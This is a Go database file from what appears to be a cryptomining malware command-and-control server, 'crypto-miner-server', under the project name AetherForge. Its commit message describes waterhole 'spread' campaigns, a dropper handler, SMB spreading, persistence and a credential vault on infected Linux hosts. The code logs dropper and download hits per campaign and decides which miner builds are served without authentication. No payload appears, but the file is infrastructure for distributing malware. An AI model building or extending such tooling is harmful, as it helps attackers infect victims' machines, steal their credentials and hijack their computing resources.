Files
AetherForge/server/internal/db/campaign.go
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

176 lines
4.2 KiB
Go

package db
import (
"fmt"
"strings"
"time"
"crypto-miner-server/internal/models"
)
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
campaign = sanitizeCampaign(campaign)
if campaign == "" {
return nil
}
_, err := d.Exec(
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
campaign, buildID, source, ip, userAgent, time.Now(),
)
return err
}
func sanitizeCampaign(c string) string {
c = strings.TrimSpace(c)
if len(c) > 64 {
c = c[:64]
}
// Allow alphanumeric, dash, underscore, dot
var b strings.Builder
for _, r := range c {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
b.WriteRune(r)
}
}
return b.String()
}
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
type CampaignHitSummary struct {
Campaign string `json:"campaign"`
Count int `json:"count"`
LastHit string `json:"last_hit"`
}
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
if limit <= 0 || limit > 500 {
limit = 100
}
rows, err := d.Query(`
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
FROM campaign_hits
GROUP BY campaign
ORDER BY cnt DESC
LIMIT ?`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CampaignHitSummary
for rows.Next() {
var s CampaignHitSummary
var lastRaw string
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
return nil, err
}
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else {
s.LastHit = lastRaw
}
out = append(out, s)
}
return out, nil
}
// ListPublicBuilds returns builds eligible for unauthenticated download.
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
if allEnabled {
return d.ListBuilds(50)
}
if latestN <= 0 {
latestN = 3
}
seen := map[string]bool{}
var out []*models.BuildRecord
add := func(b *models.BuildRecord) {
if b == nil || seen[b.ID] {
return
}
seen[b.ID] = true
out = append(out, b)
}
// Pinned builds
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
if err == nil {
defer pinnedRows.Close()
for pinnedRows.Next() {
b, err := scanBuild(pinnedRows)
if err == nil {
add(b)
}
}
}
// Operator-marked public
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
if err == nil {
defer publicRows.Close()
for publicRows.Next() {
b, err := scanBuild(publicRows)
if err == nil {
add(b)
}
}
}
// Latest N by created_at
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
if err == nil {
defer latestRows.Close()
for latestRows.Next() {
b, err := scanBuild(latestRows)
if err == nil {
add(b)
}
}
}
if out == nil {
out = []*models.BuildRecord{}
}
return out, nil
}
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
if allEnabled {
_, err := d.GetBuild(id)
return err == nil, err
}
builds, err := d.ListPublicBuilds(false, latestN)
if err != nil {
return false, err
}
for _, b := range builds {
if b.ID == id {
return true, nil
}
}
return false, nil
}
// SetBuildPublic toggles the operator public flag on a build.
func (d *Database) SetBuildPublic(id string, public bool) error {
val := 0
if public {
val = 1
}
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
return nil
}